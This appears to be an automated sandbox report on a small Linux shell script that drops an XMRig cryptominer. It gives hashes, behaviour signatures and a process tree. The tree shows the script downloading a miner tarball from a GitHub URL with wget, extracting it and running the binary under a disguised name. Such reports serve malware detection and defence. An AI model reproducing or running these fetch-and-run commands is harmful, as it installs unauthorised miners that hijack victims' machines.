Analysis

  • max time kernel
    1799s
  • max time network
    1784s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    30-10-2024 08:20

General

  • Target

    runnb.sh

  • Size

    213B

  • MD5

    a1189543e2f98f6696c6d857b899ab0a

  • SHA1

    30b167128357a05cb5ae4d8bd386d63839d99c4d

  • SHA256

    a5951456684af2a46da1bcd8c820221c97b13a439db465c2b671fa3180d838d6

  • SHA512

    472e7cd110beb4c0ff9990763988190c875dccecc726753e295d4419413bfd14ed867a9a5977adf2d6e87d6e80f18abbdd0a929473f02bbfb24e1531e71d7aef

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • Xmrig family
  • Xmrig_linux family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • OS Credential Dumping 1 TTPs 1 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

    Abuse sudo or cached sudo credentials to execute code.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 33 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 36 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 37 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/runnb.sh
    /tmp/runnb.sh
    1⤵
      PID:1397
      • /usr/bin/sudo
        sudo apt install wget
        2⤵
        • OS Credential Dumping
        • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
        • Reads runtime system information
        PID:1398
        • /usr/bin/apt
          apt install wget
          3⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:1399
          • /usr/bin/dpkg
            /usr/bin/dpkg --print-foreign-architectures
            4⤵
            • Reads runtime system information
            PID:1400
          • /usr/bin/dpkg
            /usr/bin/dpkg --print-foreign-architectures
            4⤵
            • Reads runtime system information
            PID:1446
          • /bin/sh
            /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
            4⤵
              PID:1447
              • /usr/bin/snap
                /usr/bin/snap advise-snap --from-apt
                5⤵
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:1448
            • /bin/sh
              /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
              4⤵
                PID:1455
                • /usr/bin/snap
                  /usr/bin/snap advise-snap --from-apt
                  5⤵
                  • Enumerates kernel/hardware configuration
                  • Reads runtime system information
                  PID:1456
              • /bin/sh
                /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
                4⤵
                  PID:1463
                  • /usr/bin/snap
                    /usr/bin/snap advise-snap --from-apt
                    5⤵
                    • Enumerates kernel/hardware configuration
                    • Reads runtime system information
                    PID:1464
                • /bin/sh
                  /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
                  4⤵
                    PID:1472
                    • /usr/bin/snap
                      /usr/bin/snap advise-snap --from-apt
                      5⤵
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:1473
              • /usr/bin/apt
                apt install wget
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:1481
                • /usr/bin/dpkg
                  /usr/bin/dpkg --print-foreign-architectures
                  3⤵
                  • Reads runtime system information
                  PID:1482
                • /usr/bin/dpkg
                  /usr/bin/dpkg --print-foreign-architectures
                  3⤵
                  • Reads runtime system information
                  PID:1483
                • /bin/sh
                  /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
                  3⤵
                    PID:1484
                    • /usr/bin/snap
                      /usr/bin/snap advise-snap --from-apt
                      4⤵
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:1485
                  • /bin/sh
                    /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
                    3⤵
                      PID:1493
                      • /usr/bin/snap
                        /usr/bin/snap advise-snap --from-apt
                        4⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:1494
                    • /bin/sh
                      /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
                      3⤵
                        PID:1501
                        • /usr/bin/snap
                          /usr/bin/snap advise-snap --from-apt
                          4⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:1502
                      • /bin/sh
                        /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
                        3⤵
                          PID:1509
                          • /usr/bin/snap
                            /usr/bin/snap advise-snap --from-apt
                            4⤵
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:1510
                      • /usr/bin/wget
                        wget https://github.com/orkaroeli/orkaroeliminer/raw/refs/heads/main/xmrigtar.tar.gz
                        2⤵
                        • Writes file to tmp directory
                        PID:1518
                      • /usr/bin/tar
                        tar xvf xmrigtar.tar.gz
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:1519
                        • /usr/local/sbin/gzip
                          gzip -d
                          3⤵
                            PID:1520
                          • /usr/local/bin/gzip
                            gzip -d
                            3⤵
                              PID:1520
                            • /usr/sbin/gzip
                              gzip -d
                              3⤵
                                PID:1520
                              • /usr/bin/gzip
                                gzip -d
                                3⤵
                                  PID:1520
                              • /usr/bin/chmod
                                2⤵
                                  PID:1521
                                • /usr/bin/mv
                                  2⤵
                                  • Reads runtime system information
                                  PID:1522
                                • /tmp/xmrig-6.22.0/cool
                                  2⤵
                                  • Executes dropped EXE
                                  • Checks hardware identifiers (DMI)
                                  • Reads hardware information
                                  • Checks CPU configuration
                                  • Reads CPU attributes
                                  • Enumerates kernel/hardware configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:1523

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /root/.wget-hsts

                                Filesize

                                215B

                                MD5

                                f86755e4b8c638fd50302fff14e7c8b1

                                SHA1

                                7d4f9c9220478202cc1771a2b950c37a788d3a2c

                                SHA256

                                c09fdd9f75f592624af1ee2d4fc0cdf85950d5b79d164c5d3aecc30b648b7ef1

                                SHA512

                                8b0a1c657b5991d48e138b5715e251eedca25884b8ff7d959f42a6ec81ecdf1514afdfd7ef5660292ccc1a8a8366a9052f2eb5257764e9b9df6fa1e7032d3b00

                              • /tmp/clearsigned.message.y9GgWW

                                Filesize

                                257KB

                                MD5

                                f7baae962e2417343c0d68864dea6b69

                                SHA1

                                014599a6b6aff7497bc72d0f6ae30f7aa6383c1a

                                SHA256

                                52486e27d87061aa66607e1c03ab199be5658c67d4f166c20793ded09859bd6f

                                SHA512

                                fc0fca14d6752a81dfb433846e08ece181a51f72210126d935b6dde959aba36a04f5a92c2a0c2927c47e646807438f588b3f04f616ea34a10204baf54541bf23

                              • /tmp/xmrig-6.22.0/SHA256SUMS

                                Filesize

                                150B

                                MD5

                                19f1bb08cf8997837b1f738b76ca97e9

                                SHA1

                                c497499ad539d6ef580c6c932a2633fe820abded

                                SHA256

                                99ca11102d0994a98a76722b325f3215b30d3b3df3d722a2baebf6f9944566fa

                                SHA512

                                fbb742f0fa67720e798b493a5e5ba5e72cbdde3c0ea55cfc0704f93ab97c586434a3e029f6e1e3ed655da997649aa8e9caf352018b87457755f75ca1bfe50230

                              • /tmp/xmrig-6.22.0/config.json

                                Filesize

                                1KB

                                MD5

                                1879742a3f028a8e227f3b6b51756269

                                SHA1

                                20365c0cf35e787f525baede3646cfdfe6001cba

                                SHA256

                                4042908287a7c60eb515d2c180a03d25156b4001af6cba1ad823461cc86751c5

                                SHA512

                                e7d918532dd029a53b803df0df2e4e61416e18b58ffabe18b542cd30b111f266e98d73aad8ffe62a79af50e4f21d7e19415ee03ff104eb36aaad2cf1903e9731

                              • /tmp/xmrig-6.22.0/config.json

                                Filesize

                                919B

                                MD5

                                0a9b0011891eae4086d16c3364e772ff

                                SHA1

                                98fe8a7b5b6b0c0aa7635e4e388c67c863772b69

                                SHA256

                                1aa77bd6697d36e345cd7c0769613e9798106b0fed206d7f766e846b63aa10fd

                                SHA512

                                9e1791e92d71b539aac8f944a3db65708ebfca102f16e3e7af429aaea1446be781c4ec5cb740a163dbc11a3bdacfed36d21262e05fcf29d896beb06ce0d59554

                              • /tmp/xmrig-6.22.0/xmrig

                                Filesize

                                7.7MB

                                MD5

                                aa26d9fd7d82e85a02a4f1269b35e924

                                SHA1

                                c5a55c5a40c8a3128d917513ed8aac3c1d5eb6d9

                                SHA256

                                dca121de897f5bdf0a8043f3d3989ef9504e9155dbfca9a85489504daad8586d

                                SHA512

                                a14b52dc29e966ff54f66217596282457ff57ae0ef808ff2a3594a63d0fc763527bd0fde0034c31e490cae9e1b67e3b87f9636db97d23825ae6da085952181d3

                              • /tmp/xmrigtar.tar.gz

                                Filesize

                                3.4MB

                                MD5

                                ccdb2d76041e107dff38f962d65b3d4b

                                SHA1

                                e9360c43398f3725b0a3eb87e2448ac416d96be3

                                SHA256

                                11d52ee20c865f6b0b7787bfe7a06d7ce0d865e041552365b9a026a0d24cc18f

                                SHA512

                                f6b090c698cb1092bf10010bbe00fed0388e7117b8397cf3113a23271bb514d0d03b559de721896994b472f26f9e3aeeddc2877d71bcc7830313e97d2171033d